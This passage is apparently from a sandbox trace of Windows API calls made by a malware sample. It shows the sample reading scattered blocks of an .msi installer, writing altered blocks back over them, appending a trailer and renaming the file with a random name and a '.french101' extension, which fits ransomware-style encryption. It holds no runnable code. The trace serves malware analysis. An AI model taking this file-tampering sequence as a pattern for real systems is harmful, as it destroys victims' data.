lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0266.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0266.939] CharLowerBuffW (in: lpsz=".msi", cchLength=0x4 | out: lpsz=".msi") returned 0x4 [0266.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msi", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msi.msit", lpUsedDefaultChar=0x0) returned 4 [0266.939] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0266.939] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0266.939] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0266.940] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0266.940] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", dwFileAttributes=0x20) returned 1 [0266.940] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0266.940] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.940] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x79000 [0266.940] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0266.940] SetFilePointer (in: hFile=0x35c, lDistanceToMove=495616, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x79000 [0266.940] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c78*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0266.942] CloseHandle (hObject=0x35c) returned 1 [0267.021] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.021] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.021] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x79001 [0267.021] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.021] SetFilePointer (in: hFile=0x35c, lDistanceToMove=495616, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x79000 [0267.021] SetEndOfFile (hFile=0x35c) returned 1 [0267.024] CloseHandle (hObject=0x35c) returned 1 [0267.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.024] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0267.024] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x79000 [0267.024] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0267.025] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=46806, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb6d6 [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=74609, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x12371 [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=115898, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1c4ba [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=157411, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x266e3 [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=194977, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2f9a1 [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.025] SetFilePointer (in: hFile=0x35c, lDistanceToMove=220839, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x35ea7 [0267.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.026] SetFilePointer (in: hFile=0x35c, lDistanceToMove=258583, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3f217 [0267.026] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.026] SetFilePointer (in: hFile=0x35c, lDistanceToMove=283856, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x454d0 [0267.026] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.029] SetFilePointer (in: hFile=0x35c, lDistanceToMove=313244, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4c79c [0267.029] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.030] SetFilePointer (in: hFile=0x35c, lDistanceToMove=345156, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x54444 [0267.030] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.030] SetFilePointer (in: hFile=0x35c, lDistanceToMove=387030, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x5e7d6 [0267.030] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.030] SetFilePointer (in: hFile=0x35c, lDistanceToMove=404281, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x62b39 [0267.030] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.030] SetFilePointer (in: hFile=0x35c, lDistanceToMove=426001, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x68011 [0267.030] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.030] SetFilePointer (in: hFile=0x35c, lDistanceToMove=476239, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7444f [0267.030] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.030] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0267.030] GlobalLock (hMem=0x3f40014) returned 0x3ae8e20 [0267.031] GlobalHandle (pMem=0x3ae8e20) returned 0x3f40014 [0267.031] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.031] GlobalReAlloc (hMem=0x3f40014, dwBytes=0x4000, uFlags=0x2) returned 0x3f40014 [0267.031] GlobalLock (hMem=0x3f40014) returned 0x3ae8e20 [0267.031] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0267.031] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.031] GlobalHandle (pMem=0x3ae8e20) returned 0x3f40014 [0267.031] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.031] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.031] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.031] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.031] GlobalReAlloc (hMem=0x3f40014, dwBytes=0x4000, uFlags=0x2) returned 0x3f40014 [0267.031] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.031] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.031] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0267.046] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaa7a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=46806, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xb6d6 [0267.046] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaaba8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaaba8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.047] SetFilePointer (in: hFile=0x35c, lDistanceToMove=74609, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x12371 [0267.047] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaafa8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaafa8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.047] SetFilePointer (in: hFile=0x35c, lDistanceToMove=115898, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1c4ba [0267.047] WriteFile (in: hFile=0x35c, lpBuffer=0x3eab3a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab3a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.047] SetFilePointer (in: hFile=0x35c, lDistanceToMove=157411, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x266e3 [0267.047] WriteFile (in: hFile=0x35c, lpBuffer=0x3eab7a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab7a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.047] SetFilePointer (in: hFile=0x35c, lDistanceToMove=194977, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2f9a1 [0267.047] WriteFile (in: hFile=0x35c, lpBuffer=0x3eabba8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eabba8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.047] SetFilePointer (in: hFile=0x35c, lDistanceToMove=220839, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x35ea7 [0267.047] WriteFile (in: hFile=0x35c, lpBuffer=0x3eabfa8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eabfa8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.047] SetFilePointer (in: hFile=0x35c, lDistanceToMove=258583, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3f217 [0267.048] WriteFile (in: hFile=0x35c, lpBuffer=0x3eac3a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eac3a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=283856, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x454d0 [0267.048] WriteFile (in: hFile=0x35c, lpBuffer=0x3eac7a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eac7a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=313244, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4c79c [0267.048] WriteFile (in: hFile=0x35c, lpBuffer=0x3eacba8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eacba8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=345156, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x54444 [0267.048] WriteFile (in: hFile=0x35c, lpBuffer=0x3eacfa8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eacfa8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=387030, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x5e7d6 [0267.048] WriteFile (in: hFile=0x35c, lpBuffer=0x3ead3a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ead3a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=404281, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x62b39 [0267.048] WriteFile (in: hFile=0x35c, lpBuffer=0x3ead7a8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ead7a8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.048] SetFilePointer (in: hFile=0x35c, lDistanceToMove=426001, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x68011 [0267.049] WriteFile (in: hFile=0x35c, lpBuffer=0x3eadba8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eadba8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.049] SetFilePointer (in: hFile=0x35c, lDistanceToMove=476239, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7444f [0267.049] WriteFile (in: hFile=0x35c, lpBuffer=0x3eadfa8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eadfa8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.049] SetFilePointer (in: hFile=0x35c, lDistanceToMove=495616, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x79000 [0267.049] WriteFile (in: hFile=0x35c, lpBuffer=0x3eae3a8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eae3a8*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0267.049] WriteFile (in: hFile=0x35c, lpBuffer=0x3e95a98*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesWritten=0x19e7d8*=0x12a, lpOverlapped=0x0) returned 1 [0267.049] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.049] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.049] CloseHandle (hObject=0x35c) returned 1 [0267.115] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\BQNm0bd=m2wUvOvhllqDAlYwmoAH7=95JexDcqm+YgHUlUGsktIlxNEVreE.french101" (normalized: "c:\\588bce7c90097ed212\\bqnm0bd=m2wuvovhllqdalywmoah7=95jexdcqm+yghulugsktilxnevree.french101")) returned 1 [0267.116] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\BQNm0bd=m2wUvOvhllqDAlYwmoAH7=95JexDcqm+YgHUlUGsktIlxNEVreE.french101" (normalized: "c:\\588bce7c90097ed212\\bqnm0bd=m2wuvovhllqdalywmoah7=95jexdcqm+yghulugsktilxnevree.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 